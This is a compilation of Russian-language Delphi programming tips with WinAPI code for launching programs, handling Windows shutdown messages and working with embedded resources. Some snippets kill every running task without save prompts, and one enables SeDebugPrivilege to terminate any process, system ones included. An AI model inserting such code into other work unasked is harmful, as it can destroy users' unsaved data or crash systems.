Так в чем же разница спросите вы, между процессом и потоком, если запущенная программа имеет только один,
программный поток то разницы практически никакой. Однако поток может создавать другие потоки.
А те потоки могут создавать еще потоки. Два процесса ни могут иметь общие ресурсы,
если не используют специальные механизмы межпроцессорного взаимодействия.
В противоположность этому все потоки, которые принадлежат одному процессу,
имею доступ ко всем ресурсам этого процесса.
Зачем процессу несколько потоков? Потоки могут выполнять какие-то действия параллельно
основной программе (в фоновом режиме). Потоки удобно применять, если нежелательна
блокировка основной программы определенной функцией. Например, в то время, как поток
осуществляет сложные математические вычисления, в главной программе происходит подготовка
следующего задания и ввод параметров.
Если вам нужно запустить новую программу, вам нужно создать новый процесс.
Для этой цели служит системный вызов CreateProcess.
Однако использование этого вызова не очень удобно, потому что приходится задавать множество аргументов,
однако в некоторых случаях без него не обойтись.
Если же вам надо просто запустить программу или открыть файл,
то для этого подходят мене сложные вызовы.
Легче всего использовать WinExec. Однако Microsoft не рекомендует его использование,
а предлагает пользоваться CreateProcess.
Но для выполнения тех или иных задач он вполне подходит.
Почему же нежелателен вызов WinExec дело все в том, что фактически он содержит обращение
к еще одному устаревшему системному вызову LoadModule, который обращается к CreateProcess
со значениями аргументов по умолчанию. При обращении к WinExec необходимо задать полный путь
к программе или имя EXE файла, расположенного в пути поиска, а также способ
отображения программы (константы SW_HIDE, SW_SHOW и т.д. см. Таблица 2).
Если вызов функции произошел успешно, то WinExec вернет дескриптор новой
программы (который не может быть меньше 32, т.е. если WinExec возвращает число меньше 32,
то вызов привел к ошибке, коды ошибок см. Таблица 1).
Таблица 1.

0 Системе не хватает ресурсов.
ERROR_BAD_FORMAT Некорректный EXE файл (не Win32 EXE файл или EXE файл поврежден).
ERROR_FILE_NOT_FOUND Указанный файл не найден.
ERROR_PATH_NOT_FOUND Указанный путь не найден.

Еще один простой вызов это - ShellExecute. Этот вызов во многом напоминает WinExec,
однако он поддерживает обработку типов файлов, зарегистрированных в Windows.
Например, если вы с помощью ShellExecute вы попробуете запустить файл с расширением .BMP,
то буде запущена программа Paint или любая другая, которая использует для просмотра графических файлов.
В качестве аргументов ShellExecute принимает дескриптор окна (если есть необходимость в сообщениях об ошибках),
строку, такую как open (открыть), print (напечатать) и explore (исследовать), можно в качестве этой строки передать NULL,
тогда файл указанный вами будет открыт (open). Так же ShellExecute необходимо сообщить имя файла и любые параметры
командной строки (чаще всего NULL), и оставшиеся два аргумента это текущий каталог и константа функции
ShowWindow (как и в WinExec см. Таблица 2).
Таблица 2.

SW_HIDE Окно в скрытом режиме.
SW_MAXIMIZE Окно максимального размера
SW_MINIMIZE Окно находится в свернутом виде, активируется следующее верхнее окно в Z последовательности.
SW_RESTORE Активирует и показывает окно. Если окно свернуто или развернуто, Windows восстанавливает его
к первоначальному размеру и позиции. Приложение должно определить этот флаг при восстановлении свернутого окна.
SW_SHOW Активирует окно и выводит его в текущих размерах и позиции.
SW_SHOWMAXIMIZED Активирует и показывает окно в развернутом виде.
SW_SHOWMINIMIZED Активирует и показывает окно в свернутом виде.
SW_SHOWMINNOACTIVE Отображает окно в свернутом виде. Активное окно остается активным.
SW_SHOWNA Отображает окно в текущем состоянии. Активное окно остается активным.
SW_SHOWNORMAL Активирует и показывает окно. Если окно свернуто или развернуто,
Windows восстанавливает его к первоначальному размеру и позиции.
Приложение должно определить этот флаг при показе окна в первый раз.

Значение, которое возвращает ShellExecute такое же, как и у WinExec. Функцию ShellExecute можно использовать,
например, для открытия корневого каталога диска С:

ShellExecute(hWnd, 'open', 'c:\', nil, nil, SW_SHOWNORMAL);
Вы можете заменить строку "open" на "explore" и в качестве третьего параметра указать любой каталог,
в этом случае указанная вами папка откроется в Проводнике (Explorer).
Так же существует системный вызов ShellExecuteEx, который фактически является полным аналогом
ShellExecute, однако в качестве аргумента он принимает указатель на структуру, поля которой во многом
совпадают с аргументами ShellExecute. Кроме этого после завершения своей работы ShellExecuteEx помещает
в одно из полей этой структуры дескриптор запущенной программы.
Применение этих вызовов довольно просто. Пример программы использующей WinExec и ShellExecute
приведен в листинге 1.
Листинг 1.

uses ShellAPI;
…
var
  h: hwnd;
begin
// Используем ShellExecute
  if ShellExecute(h, 'open', 'readme.txt', nil, nil, SW_SHOW) < 32 then
    begin
      ShowMessage('Немогу выполнить ShellExecute !')
    end;
// Используем WinExec
  if WinExec('Notepad c:\config.sys', SW_SHOW) < 32 then
    begin
      ShowMessage('Немогу выполнить WinExec !')
    end;
end;

Взято с сайта http://blackman.wp-club.net/


События, происходящие в приложениях Delphi при завершении работы Windows

Я провел небольшое исследование, и вот что я выяснил:
При закрытии приложения (используя системное меню или вызывая метод закрытия формы), возникают следующие события:
FormCloseQuery - действие по умолчанию, устанавливает переменную CanClose в значание TRUE и продолжает закрытие формы.
FormClose
FormDestroy
Если приложение активно и вы пытаетесь завершить работу Windows (Shut Down), происходят следующие события (с соблюдением последовательности):
FormCloseQuery
FormDestroy
Мы видим, что метод FormClose в этом случае не вызывается.
Теперь воспроизведем всю последовательность событий, происходящую при попытке завершить работу Windows:
Windows посылает сообщение WM_QUERYENDSESSION всем приложениям и ожидает ответ.
Каждое приложение получает сообщение и возвращает одну из величин: не равную нулю - приложение готово завершить свою работу, 0 - приложение не может завершить свою работу.
Если одно из приложений возвращает 0, Windows не завершает свою работу, а снова рассылает всем окнам сообщение, на этот раз WM_ENDSESSION.
Каждое приложение должно снова подтвердить свою готовность завершить работу, поэтому операционная система ожидает ответа TRUE, резонно предполагая, что оставшиеся приложения с момента предыдущего сообщения закрыли свои сессии и готовы завершить работу. Теперь посмотрим, как на это реагирует Delphi-приложение: приложение возвращает значение TRUE и немедленно вызывает метод FormDestroy, игнорируя при этом метод FormClose. Налицо проблема.
Завершение работы Windows.
Первое решение проблемы: приложение Delphi на сообщение WM_QUERYENDSESSION должно возвратить 0, не дав при этом Windows завершить свою работу. При этом бессмысленно пытаться воспользоваться методом FormCloseQuery, поскольку нет возможности определить виновника завершения работы приложения (это может являться как результатом сообщения WM_QUERYENDSESSION, так и просто действием пользователя при попытке закрыть приложение).
Другое решение состоит в том, чтобы при получении сообщения WM_QUERYENDSESSION самим выполнить необходимые действия, вызвав метод FormClose.

unit Unit1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
  Dialogs;
type
  TForm1 = class(TForm)
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
{--------------------------------------------------------}
{ Объявляем свой обработчик сообщения WM_QUERYENDSESSION }
{--------------------------------------------------------}
    procedure WMQueryEndSession(
      var Message: TWMQueryEndSession); message WM_QUERYENDSESSION;
  public
{ Public declarations }
  end;
var
  Form1: TForm1;

implementation
{$R *.DFM}

{--------------------------------------------------------------}
{ Создаем процедуру обработки сообщения WM_QUERYENDSESSION. }
{ Приложение получит только это сообщение при попытке Windows }
{ завершить работу }
{--------------------------------------------------------------}

procedure TForm1.WMQueryEndSession(var Message: TWMQueryEndSession);
begin
  inherited; { сначала сообщание должен обработать наследуемый метод }
{--------------------------------------------------------------------}
{ в этой точке вы также можете сообщить Windows о неготовности }
{ приложения завершить работу... }
{ Message.Result:=0; }
{-------------------------------------------или----------------------}
{ вызов процедуры освобождения ресурсов, предусмотренной в FormClose }
{ MyCleanUpProcedure; }
{--------------------------------------------------------------------}
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  MyCleanUpProcedure;
end;

end.

Взято из http://forum.sources.ru


Завершение всех работающих приложений

Как мне завершить все работающие задачи?

Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.

Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой операции.

procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
  pTask: PTaskEntry;
  Task: Bool;
  ThisTask: THANDLE;
begin
  GetMem(pTask, SizeOf(TTaskEntry));
  pTask^.dwSize := SizeOf(TTaskEntry);

  Task := TaskFirst(pTask);
  while Task do
  begin
    if pTask^.hInst = hInstance then
      ThisTask := pTask^.hTask
    else
      TerminateApp(pTask^.hTask, NO_UAE_BOX);
    Task := TaskNext(pTask);
  end;
  TerminateApp(ThisTask, NO_UAE_BOX);
end;

Взято с http://delphiworld.narod.ru


Как завершить любой процесс, в том числе и системный

// Включение, приминение и отключения привилегии.
 // Для примера возьмем привилегию отладки приложений 'SeDebugPrivilege'
 // необходимую для завершения ЛЮБЫХ процессов в системе (завершение процесов
 // созданных текущим пользователем привилегия не нужна.

function ProcessTerminate(dwPID:Cardinal):Boolean;
var
 hToken:THandle;
 SeDebugNameValue:Int64;
 tkp:TOKEN_PRIVILEGES;
 ReturnLength:Cardinal;
 hProcess:THandle;
begin
 Result:=false;
 // Добавляем привилегию SeDebugPrivilege
 // Для начала получаем токен нашего процесса
 if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
  or TOKEN_QUERY, hToken ) then
    exit;

 // Получаем LUID привилегии
 if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue )
  then begin
   CloseHandle(hToken);
   exit;
  end;

 tkp.PrivilegeCount:= 1;
 tkp.Privileges[0].Luid := SeDebugNameValue;
 tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

 // Добавляем привилегию к нашему процессу
 AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
 if GetLastError()< > ERROR_SUCCESS  then exit;

 // Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
 // завершить и системный процесс
 // Получаем дескриптор процесса для его завершения
 hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
 if hProcess =0  then exit;
  // Завершаем процесс
   if not TerminateProcess(hProcess, DWORD(-1))
    then exit;
 CloseHandle( hProcess );

 // Удаляем привилегию
 tkp.Privileges[0].Attributes := 0;
 AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
 if GetLastError() < >  ERROR_SUCCESS
  then exit;

 Result:=true;
end;

 // Название добавление/удаление привилгии немного неправильные.  Привилегия или
 // есть в токене процесса или ее нет. Если привилегия есть, то она может быть в
 // двух состояниях - или включеная или отключеная. И в этом примере мы только
 // включаем или выключаем необходимую привилегию, а не добавляем ее.

Взято с http://delphiworld.narod.ru


Отследить завершение работы, (перезагрузку, смену пользователя) в Windows.

Очень часто мы сталкиваемся с проблемой, когда наша программа будучи запущенная в фоне и/или свёрнутая, например, в панель задач должна что-то сделать, когда Windows выключается, перезагружается или просто меняется пользователь.
Если мы не будем отслеживать такую ситуацию, то в худшем случае у нас могут просто потеряться какие-либо данные или Windows просто не сможет выполнить перезагрузку до конца. Ей будет мешать наша программа. Не нужно думать, что Windows перед перезагрузкой рассылает приложениям сообщения о закрытии, так чтобы у тех выпаолнились обработчкики TForm.onCloseQuery/onClose.
ОС Windows отсылает перед перезагрузкой, выключением или сменой пользователя сообщения WM_QUERYENDSESSION, а потом по его успешному завершению WM_ENDSESSION. Наше приложение должно поймать эти сообщения и отреагировать так чтобы дать понять, что мы согласны перезагружаться. В частности на сообщение WM_QUERYENDSESSION мы должны вернуть не 0:

The WM_QUERYENDSESSION message is sent when the user chooses to end the Windows session or when an application calls the ExitWindows function. If any application returns zero, the Windows session is not ended. Windows stops sending WM_QUERYENDSESSION messages as soon as one application returns zero.

Практически мы уже здесь можем завершить свою программу.
В случае если те действия, которые выполняются при наступлении перезагрузки не велики по величине времени их выполнения, можно не обрабатывать WM_QUERYENDSESSION, а обойтись просто сообещением WM_ENDSESSION. В параметре WParam этого сообщения поступает как раз тот результат, который мы вернули (или не вернули) из сообщения WM_QUERYENDSESSION:

protectedprocedure IsWindowsShutDown(var Msg: TMessage);WM_ENDSESSION;
..

procedure TForm1.IsWindowsShutDown(var Msg: TMessage);
begin
  inherited;
  if Msg.WParam = 1 then MainForm.Close; // выгружаем приложение
End;

Если нам нужно что-то сделать ещё (например удалить какой-либо файл или записать какую-нибудь информацию), применительно для вышеприведённого примера это можно сделать в обработчиках onCloseQuery/onClose формы.
Процедуру IsWindowsShutDown() мы должны описать в классе того окна, которое будет принимать данное сообщение т.е. формы.

Автор: Song

Взято из http://forum.sources.ru


Работа с ресурсами

Cодержание раздела:

Как извлечь иконку из EXE или DLL? Updated!
Как загрузить BMP файл из DLL?
Сохранение и выдёргивание ресурсов в DLL или EXE?
Компиляция ресурсов
Как поместить JPEG-картинку в exe-файл и потом загрузить ее?
Converting 16bit resource to 32bit
Creating resource files
Работа с ресурсами
How to get all the resource names that are loaded in a given application? New!
256-цветное изображение из res-файла New!
Создание RES-файла с помощью BRCC.EXE New!
Хранение данных в EXE-файле New!
Duplicate Resources Error New!

См. также статьи в других разделах:
Как в создать DLL только с ресурсами?
Как получить версию моей DLL?
Как проиграть Wave-ресурс?
Как проиграть wav из ресурса не сохраняя его в файл?
Загрузка Bitmap из .res без потери палитры
Сохранить TImagelist в файл со всем содержимым New!


Как извлечь иконку из EXE или DLL?

Такой вот совет пришел ко мне с рассылкой "Ежедневная рассылка сайта Мастера DELPHI", думаю многим будет интересно.

Решить эту задачу нам поможет функция function ExtractIcon(hInstance, filename, iconindex):integer
где hinstance - глобальная переменная приложения, ее изменять не надо. Тип integer.
filename - имя программы или DLL из которой надо извлекать иконки. Тип pchar.
iconindex - порядковый номер иконки в файле (начинается с 0). В одном файле может находится несколько иконок. Тип integer.
Функция находится в модуле ShellApi, так что не забудьте подключить его в uses. Если эта функция возвратит ноль, значит иконок в файле нет.
Данная функция возвращает handle иконки, поэтому применять ее нужно так:
Image1.Picture.Icon.Handle:=ExtractIcon(hInstance, pchar(paramstr(0)), 0);
данное объявление нарисует в Image'e картинку вашего приложения.

Автор: Михаил Христосенко

Взято с Vingrad.ru http://forum.vingrad.ru

Функция ExtractIcon позволяет извлечь иконку из exe, dll и ico-файлов. Если указанная иконка отсутствует, функция возвращает 0. Количество иконок, содержащихся в файле, можно узнать, указав в качестве последнего параметра -1.

uses ShellAPI;

procedure TForm1.Button1Click(Sender: TObject);
var
  ic: TIcon;
  i, count: integer;
  w: integer;
begin
  if OpenDialog1.Execute = false then Exit;
  Form1.Canvas.FillRect(Form1.Canvas.ClipRect);
  count := ExtractIcon(Application.Handle,
    PChar(OpenDialog1.FileName), -1);
  ic := TIcon.Create;
  w := Form1.Width div 32;
  for i := 0 to count - 1 do begin

    ic.Handle := ExtractIcon(Application.Handle,
      PChar(OpenDialog1.FileName), i);
    Form1.Canvas.Draw(32 * (i mod w), 32 * (i div w), ic);
  end;
  ic.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как загрузить BMP файл из DLL?

procedure TForm1.Button1Click(Sender: TObject);
var
  AModule: THandle;
begin
  AModule := LoadLibrary('Images.dll');
  image1.Picture.BitMap.LoadFromResourceName(AModule, 'StartMine');
  FreeLibrary(AModule);
end;

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Сохранение и выдёргивание ресурсов в DLL или EXE?

Иногда возникает необходимость вшить ресурсы в исполняемый файл Вашего приложения (например чтобы предотвратить их случайное удаление пользователем, либо, чтобы защитить их от изменений). Данный пример показывает как вшить любой файл как ресурс в EXE-шнике.

Далее рассмотрим, как создать файл ресурсов, содержащий корию какого-либо файла. После создания такого файла его можно легко прицепить к Вашему проекту директивой {$R}. Файл ресурсов, который мы будем создавать имеет следующий формат:

+ заголовок
+ заголовок для нашего RCDATA ресурса
+ собственно данные - RCDATA ресурс

В данном примере будет показано, как сохранить в файле ресурсов только один файл, но думаю, что так же легко Вы сможете сохранить и несколько файлов.

Заголовок ресурса выглядит следующим образом:

TResHeader = record
  DataSize: DWORD;        // размер данных
  HeaderSize: DWORD;      // размер этой записи
  ResType: DWORD;         // нижнее слово = $FFFF => ordinal
  ResId: DWORD;           // нижнее слово = $FFFF => ordinal
  DataVersion: DWORD;     // *
  MemoryFlags: WORD;
  LanguageId: WORD;       // *
  Version: DWORD;         // *
  Characteristics: DWORD; // *
end;

Поля помеченны звёздочкой Мы не будем использовать.

Приведённый код создаёт файл ресурсов и копирует его в данный файл:

procedure CreateResourceFile(
  DataFile, ResFile: string;  // имена файлов
  ResID: Integer              // id ресурсов
);
var
  FS, RS: TFileStream;
  FileHeader, ResHeader: TResHeader;
  Padding: array[0..SizeOf(DWORD)-1] of Byte;
begin

  { Open input file and create resource file }
  FS := TFileStream.Create(  // для чтения данных из файла
    DataFile, fmOpenRead);
  RS := TFileStream.Create(  // для записи файла ресурсов
    ResFile, fmCreate);

  { Создаём заголовок файла ресурсов - все нули, за исключением
    HeaderSize, ResType и ResID }
  FillChar(FileHeader, SizeOf(FileHeader), #0);
  FileHeader.HeaderSize := SizeOf(FileHeader);
  FileHeader.ResId := $0000FFFF;
  FileHeader.ResType := $0000FFFF;

  { Создаём заголовок данных для RC_DATA файла
    Внимание: для создания более одного ресурса необходимо
    повторить следующий процесс, используя каждый раз различные
    ID ресурсов }
  FillChar(ResHeader, SizeOf(ResHeader), #0);
  ResHeader.HeaderSize := SizeOf(ResHeader);
  // id ресурса - FFFF означает "не строка!"
  ResHeader.ResId := $0000FFFF or (ResId shl 16);
  // тип ресурса - RT_RCDATA (from Windows unit)
  ResHeader.ResType := $0000FFFF
    or (WORD(RT_RCDATA) shl 16);
  // размер данных - есть размер файла
  ResHeader.DataSize := FS.Size;
  // Устанавливаем необходимые флаги памяти
  ResHeader.MemoryFlags := $0030;

  { Записываем заголовки в файл ресурсов }
  RS.WriteBuffer(FileHeader, sizeof(FileHeader));
  RS.WriteBuffer(ResHeader, sizeof(ResHeader));

  { Копируем файл в ресурс }
  RS.CopyFrom(FS, FS.Size);

  { Pad data out to DWORD boundary - any old
    rubbish will do!}
  if FS.Size mod SizeOf(DWORD) <> 0 then
    RS.WriteBuffer(Padding, SizeOf(DWORD) -
      FS.Size mod SizeOf(DWORD));

  { закрываем файлы }
  FS.Free;
  RS.Free;
end;

Данный код не совсем красив, и отсутствует обработка ошибок. Правильнее будет создать класс, включающий в себя данный пример.

Извлечение ресурсов из EXE
теперь рассмотрим пример, показывающий, как извлекать ресурсы из исполняемого модуля.

Вся процедура заключается в создании потока ресурса, создании файлового потока и копировании из потока ресурса в поток файла.

procedure ExtractToFile(Instance:THandle; ResID:Integer; ResType, FileName:String);
var
  ResStream: TResourceStream;
  FileStream: TFileStream;
begin
  try
    ResStream := TResourceStream.CreateFromID(Instance, ResID, pChar(ResType));
    try
      //if FileExists(FileName) then
        //DeleteFile(pChar(FileName));
      FileStream := TFileStream.Create(FileName, fmCreate);
      try
        FileStream.CopyFrom(ResStream, 0);
      finally
        FileStream.Free;
      end;
    finally
      ResStream.Free;
    end;
  except
    on E:Exception do
    begin
      DeleteFile(FileName);
      raise;
    end;
  end;
end;

Всё, что требуется, это получить Instance exe-шника или dll (у Вашего приложения это Application.Instance или Application.Handle, для dll Вам прийдётся получить его самостоятельно :)

ResID тот же самый ID , который был присвоен ресурсу

ResType WAVEFILE, BITMAP, CURSOR, CUSTOM - это типы ресурсов, с которыми возможно работать, но у меня получилось успешно проделать процедуру только с CUSTOM

FileName - это имя файла, который мы хотим создать из ресурса

Взято из http://forum.sources.ru


Компиляция ресурсов

Автор: Ralph Friedman

У меня имеется приблизительно 36 маленьких растровых изображений, которые я хочу сохранить в файле и затем прилинковать его к exe. Как мне поместить их в res-файл?

Самый простой путь - создать файл с именем "BITMAPS.RC" и поместить в него список ваших .BMP-файлов:

BMAP1 BITMAP BMAP1.BMP
BMAP2 BITMAP BMAP2.BMP
CLOCK BITMAP CLOCK.BMP
DBLCK BITMAP DBLCK.BMP
DELOK BITMAP DELOK.BMP
LUPE BITMAP LUPE.BMP
OK BITMAP OK.BMP
TIMEEDIT BITMAP TIMEEDIT.BMP

Затем загрузите Resource Workshop (RW) и выберите пункт меню File|Project Open. В выпадающем списке "File Type" (тип файла) выберите RC-Resource Script и откройте файл, который вы только что создали. После того, как RW загрузит ваш файл, выберите пункт меню File|Project save as. Выберите объект RES-Resource из выпадающего списка "File Type" (тип файла). В поле редактирования "New File name" задайте имя нового файла, скажем, BITMAPS.RES. Нажмите OK. Теперь у вас есть файл ресурса. В вашем модуле Delphi добавьте после строки {$R *.RES} строку {$R BITMAPS.RES}. После компиляции вы получите exe-файл с скомпилированными ресурсами. Для получения доступа к ресурсам во время выполнения программы нужно сделать следующее:

myImage.Picture.Bitmap.Handle := LoadBitmap(HInstance, 'TIMEEDIT');

В качестве предостережения: убедитесь в том, что имена (в самой левой колонке) изображений в .RC файле написаны в верхнем регистре, при вызове также необходимо писать их имена в верхнем регистре.

Взято с http://delphiworld.narod.ru


Как поместить JPEG-картинку в exe-файл и потом загрузить ее?

1)Создайте текстовый файл с расширением ".rc".Имя этого файла должно отличаться
от имени файла - пректа или любого модуля проекта.
Файл должен содержать строку вроде: MYJPEG JPEG C: \DownLoad\MY.JPG
где:
"MYJPEG" имя ресурса
"JPEG" пользовательский тип ресурса
"C: \DownLoad\MY.JPG" руть к JPEG файлу.

Пусть например rc - файл называется "foo.rc"

Запустите BRCC32.exe(Borland Resource CommandLine Compiler) - программа находится
в каталоге Bin Delphi / C + +Builder'а - передав ей в качестве параметра полный путь
к rc - файлу.
В нашем примере:

C: \DelphiPath\BIN\BRCC32.EXE C: \ProjectPath\FOO.RC
Вы получите откомпилированный ресурс - файл с расширением ".res".
(в нашем случает foo.res).
Далее добавте ресурс к своему приложению.

{Грузим ресурс}
{$R FOO.RES}

uses Jpeg;

procedure LoadJPEGFromRes(TheJPEG: string; ThePicture: TPicture);
var
  ResHandle: THandle;
  MemHandle: THandle;
  MemStream: TMemoryStream;
  ResPtr: PByte;
  ResSize: Longint;
  JPEGImage: TJPEGImage;
begin
  ResHandle := FindResource(hInstance, PChar(TheJPEG), 'JPEG');
  MemHandle := LoadResource(hInstance, ResHandle);
  ResPtr := LockResource(MemHandle);
  MemStream := TMemoryStream.Create;
  JPEGImage := TJPEGImage.Create;
  ResSize := SizeOfResource(hInstance, ResHandle);
  MemStream.SetSize(ResSize);
  MemStream.Write(ResPtr^, ResSize);
  FreeResource(MemHandle);
  MemStream.Seek(0, 0);
  JPEGImage.LoadFromStream(MemStream);
  ThePicture.Assign(JPEGImage);
  JPEGImage.Free;
  MemStream.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  LoadJPEGFromRes('MYJPEG', Image1.Picture);
end;


Converting 16bit resource to 32bit

If you have the original source file (.rc) then you can simply recompile the .rc file to a .res file using the Borland Resource Command Line Compiler (brcc32.exe) located in the Delphi/C++ Builders bin directory. If you only have a .res file to work with, you will need to use a quality resource compiler/decompiler such as Borland's Resource Workshop. Versions of the Borland's Resource Workshop later than 4.5 can extract, compile, and decompile both 16 and 32 bit resource files from a variety of sources including .res, .exe, .dll, drv, and .cpl files. The Borland Resource Workshop version 4.5 ship with the Borland RAD Pack product line


Creating resource files

You can use the Borland Command Line Resource Compiler (BRCC.EXE and BRCC32.EXE) that ships with Delphi and C++ Builder, or a WYSIWYG resource editor such as Borland's Resource Workshop 5.0 that ships with the Borland RAD Pack. The Resource Workshop 5.0 can compile and decompile both 16 and 32 bit resources from .rc, .res, .exe, .dll, .drv, .vbx, .cpl, .ico,. bmp, .rle, .dlg, fnt, and cur files.


Работа с ресурсами

Сохранить файл в ресурсе программы на этапе компилляции можно выполнив следующие шаги:

1) Поставить себе RxLib
2) Появится в меню "Project" дополнительный пункт меню "Resources"
3) Открой его , создай новый ресурс "User Data", в него загрузи нужный файл, измени имя ресурса на что-нибудь типа 'MyResName'.

Теперь при компилляции проэкта в exe файл будет прикомпиллирован ваш файл в виде ресурса. Извлечь его на этапе выполнения можно следующим образом:

with TResourceStream.Create(hInstance, 'MyResName', RT_RCDATA) do
try
Seek(0, soFromBeginning);
SaveToFile('MyFileName.exe');
finally
Free;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

А вот целый проект, сделанный LENIN INC показывающий различные приёмы работы с ресурсами:
reswork.zip

Автор ответа: LENIN INC
Взято с Vingrad.ru http://forum.vingrad.ru

Исходники программы для чтения и изменения ресурсов готовой программы

Большое спасибо Song нашедшему эту программу ResEdit.zip
Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Таблицы строк

Таблицы строк

Ресурсы в виде таблиц строк (Stringtable) являются очень полезным подспорьем, когда ваше приложение должно хранить большое количество строк для их вывода во время выполнения приложения. Вы должны побороть искушение непосредственной вставки строк в вашу программу, поскольку использование таблиц строк имеет два неоспоримых преимущества:
1) Строки, хранимые в ресурсах, не занимают память до тех пор, пока они не будут загружены вашим приложением.
2) Stringtables легко редактировать, создавая таким образом локализованные (переведенные) версии вашего приложения.

Таблицы строк компилируются в ".res"-файл, который включается в exe-файл приложения во время сборки. Даже после того, как вы распространите ваше приложение, таблицы строк, содержащиеся в вашем приложении могут редактироваться редактором ресурсов. Моим любимым редактором ресурсов является Borland Resource Workshop, поставляемый в комплекте с Delphi. Он позволяет в режиме WYSIWYG редактировать как 16-, так и 32-битные ресурсы, как автономные, так и имплантированные в exe или dll-файлы. Тем более это удобно, если учесть что вместе со всеми версиями Delphi поставляется компилятор
ресурсов из командной строки (Borland Resource Command Line Compiler) (BRCC.EXE и BRCC32.EXE), расположенный в Delphi-директории Bin.

В нашем примере мы создадим интернациональное приложение, отображающее всего две кнопки. Кнопки будут иметь заголовки "Да" и "Нет", имеющие представления для английского, испанского и шведского языков.

Если вы вознамерились создавать мультиязыковые приложения с помощью Delphi, вам просто необходимо взглянуть на другие продукты фирмы Borland - Delphi Translation Suite и Language Pack software. Данные продукты позволяют изменять язык приложения одним щелчком!

Пример: Для начала в каталоге с исходным кодом приложения мы должны создать текстовый файл, содержащий строковые ресурсы. Пока вы можете создать файл с любым именем (главное, чтобы он имел расширение ".rc") и файл без разширения - главное, чтобы их имя не совпадало с именами файлов модулей и
файла проекта. Это очень важно, поскольку Delphi автоматически создает множество файлов с ресурсами для вашего приложения с теми же именами и переписывает их, не заботясь о наличии таких же файлов, но созданных вашими руками.

Вот содержание .rc-файла для нашего примера. Файл содержит слова "Yes" и "No" на английском, испанском и шведских языках:

STRINGTABLE
{
 1, "&Yes"
 2, "&No"
 17, "&Si"
 18, "&No"
 33, "&Ja"
 34, "&Nej"
}

Файл начинается с ключевого слова stringtable, обозначая, что следом располагается таблица строк. Сами строки находятся внутри скобок, таким образом таблица должна быть обрамлена двумя скобками -
открывающей и закрывающей. Каждая строка должна содержать идентификатор, сопровождаемый строкой,
заключенной в кавычки. Строка может содержать вплоть до 255 символов. Если вам нужно вставить
нестандартный символ, напишите его восьмиричный код и предварите его обратной косой чертой.
Единственное исключение - когда вам нужно вставить саму обратную черту - в этом случае понадобиться
использование двух таких символов. Вот два примера:

1, "A two\012line string"

2, "c:\\Borland\\Delphi"

Используемый номер индекса абсолютно не важен для компилятора. Вы должны иметь в виду, что таблицы
строк располагаются в памяти в 16 битных сегментах (Win 3.xx).
Для компиляции .rc-файла в .res-файл, который можно прилинковать к вашему приложению, вы должны
набрать в командной строке полный путь к компилятору ресурсов и полный путь к компилируемому
.rc-файлу. Вот пример:

c:\Delphi\Bin\brcc32.exe c:\Delphi\strtbl32.rc
После окончания процесса компиляции в указанном каталоге появляется файл с тем же именем, что и у
.rc-файла, но имеющий расширение ".res".
Для включения ресурсов в ваше приложение необходимо в коде программы добавить следующую директиву
компилятора, указывающую на файл с ресурсами:

{$R ResFileName.RES}

После того, как .res-файл прилинкуется к приложению, вы можете воспользоваться связанными
ресурсами из любого модуля вашего проекта, даже если вы определили директиву $R в секции реализации
(implementation) другого модуля.

Вот пример использования Windows API функции LoadString() для загрузки в массив символов третьей
строки из таблицы строк:

if LoadString(hInstance, 3, @a, sizeof(a)) <> 0 then ....

В этом примере функция LoadString() передает дескриптор (hInstance) модуля, содержащего ресурс,
индекс требуемой строки, адрес массива символов, куда будет передана строка и размер самого массива.
Функция LoadString возвращает количество реально переданных символов без учета терминатора. Будьте
внимательны: при использовании UNICODE количество загружаемых байт будет другим.

Ниже приведен исчерпывающий пример создания многоязыкового приложения с помощью Delphi. Приложение
совместимо как с 16, так и с 32-битными версиями Delphi.

Для этого вам придется создать два идентичных .rc-файла, один для 16-битной версии, второй для
32-битной, т.к. используемые ресурсы для каждой платформы свои. В данном примере мы создадим один
файл с именем STRTBL16.rc, а другой с именем STRTBL32.rc. Скомпилируйте файл STRTBL16.rc с помощью
16-битного компилятора BRCC.exe (расположен в каталоге BIN Delphi 1) и файл STRTBL32.rc с помощью
BRCC32.exe (расположен в той же директории 32-битной версии Delphi).

Во время работы приложения мы выясняем язык операционной системы, установленный по умолчанию.
Метод получения такой информации отличается для 16- и 32-битной версии Windows. Чтобы сделать код
более читабельным, мы позаимствовали "языковые" константы из файла Windows.pas, применяемого в
32-битной версии Delphi.

{$IFDEF WIN32}
  {$R STRTBL32.RES}
{$ELSE}
  {$R STRTBL16.RES}
  const LANG_ENGLISH = $09;
  const LANG_SPANISH = $0a;
  const LANG_SWEDISH = $1d;
{$ENDIF}

function GetLanguage : word;
{$IFDEF WIN32}
{$ELSE}

  var
    s : string;
    i : integer;
{$ENDIF}
begin
{$IFDEF WIN32}
  GetLanguage := GetUserDefaultLangID and $3ff;
{$ELSE}

  s[0] := Char(GetProfileString('intl', 'sLanguage', 'none', @s[1], sizeof(s)-2));
  for i := 1 to length(s) do
    s[i] := UpCase(s[i]);
  if s = 'ENU' then GetLanguage := LANG_ENGLISH else
  if s = 'ESN' then GetLanguage := LANG_SPANISH else
  if s = 'SVE' then GetLanguage := LANG_SWEDISH else
